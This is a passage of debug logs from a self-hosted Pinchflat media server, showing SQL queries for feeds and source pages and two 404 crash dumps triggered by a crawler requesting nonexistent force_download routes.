idle=457.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [27, 2000] 16:53:28.827 [debug] QUERY OK source="source_metadata" db=0.0ms idle=480.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [27] 16:53:28.827 [debug] QUERY OK source="media_metadata" db=0.0ms idle=480.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577880] 16:53:28.828 [info] Sent 200 in 24ms 16:53:29.584 [info] GET /sources/d8c11d05-824d-4284-b36d-fabb788a0b82/feed.xml 16:53:29.584 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "d8c11d05-824d-4284-b36d-fabb788a0b82"} Pipelines: [:maybe_basic_auth] 16:53:29.584 [debug] QUERY OK source="sources" db=0.1ms idle=779.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["d8c11d05-824d-4284-b36d-fabb788a0b82"] 16:53:29.598 [debug] QUERY OK source="media_items" db=13.8ms idle=775.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [5, 2000] 16:53:29.661 [debug] QUERY OK source="source_metadata" db=0.1ms idle=834.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [5] 16:53:29.662 [debug] QUERY OK source="media_metadata" db=0.0ms idle=834.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577884] 16:53:29.668 [info] Sent 200 in 84ms 16:53:31.589 [info] GET /sources/1 16:53:31.589 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 16:53:31.589 [debug] QUERY OK source="sources" db=0.1ms idle=242.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:53:31.590 [debug] QUERY OK source="media_profiles" db=0.0ms idle=243.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:53:34.231 [debug] QUERY OK source="tasks" db=2641.0ms idle=243.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 16:53:34.231 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=884.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5268310, 5137683] 16:53:34.231 [debug] QUERY OK source="settings" db=0.0ms idle=884.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:34.232 [debug] QUERY OK source="settings" db=0.0ms idle=885.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:34.232 [debug] QUERY OK source="settings" db=0.0ms idle=867.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:34.232 [debug] QUERY OK source="sources" db=0.0ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:53:34.244 [debug] QUERY OK source="media_items" db=10.9ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:53:34.255 [debug] QUERY OK source="media_items" db=10.8ms idle=12.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 16:53:34.255 [debug] QUERY OK source="sources" db=0.0ms idle=23.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:53:34.256 [debug] QUERY OK source="media_items" db=0.7ms idle=23.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 16:53:34.269 [debug] QUERY OK source="media_items" db=13.1ms idle=23.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 16:53:34.270 [debug] QUERY OK source="sources" db=0.1ms idle=26.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:53:34.273 [debug] QUERY OK source="media_items" db=3.2ms idle=15.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 16:53:34.703 [debug] QUERY OK source="media_items" db=430.0ms idle=18.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 16:53:34.704 [info] Sent 200 in 3115ms 16:53:42.159 [info] GET /sources/45/media/1577896/force_download 16:53:42.159 [debug] QUERY OK source="settings" db=0.1ms idle=1787.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:42.160 [debug] QUERY OK source="settings" db=0.0ms idle=813.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:42.160 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:53:42.160 [error] #PID<0.30028.0> running PinchflatWeb.Endpoint (connection #PID<0.30027.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/45/media/1577896/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/media/1577896/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30027.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/media/1577896/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52684}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30028.0>, params: %{}, path_info: ["sources", "45", "media", "1577896", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/45/media/1577896/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz7FaSBLHiryr0ABMpi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30027.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/media/1577896/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52684}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/45/media/1577896/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30027.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/45/media/1577896/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 52684}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30028.0>, params: %{}, path_info: ["sources", "45", "media", "1577896", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-f (truncated) 16:53:45.293 [info] {"source":"oban","duration":126671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:53:47.612 [info] GET /sources/12/media/1577897/force_download 16:53:47.613 [debug] QUERY OK source="settings" db=0.1ms idle=1230.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:47.616 [debug] QUERY OK source="settings" db=3.1ms idle=266.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:53:47.616 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:53:47.616 [error] #PID<0.30032.0> running PinchflatWeb.Endpoint (connection #PID<0.30031.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/12/media/1577897/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/12/media/1577897/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30031.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/12/media/1577897/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 54402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30032.0>, params: %{}, path_info: ["sources", "12", "media", "1577897", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.217.89"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "216.73.217.89"} ], request_path: "/sources/12/media/1577897/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz7FumKsP-AJVoABxTB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30031.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/12/media/1577897/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 54402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/12/media/1577897/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.30031.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/12/media/1577897/force_download", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 54402}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.217.89", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "216.73.217.89" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.30032.0>, params: %{}, path_info: ["sources", "12", "media", "1577897", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => 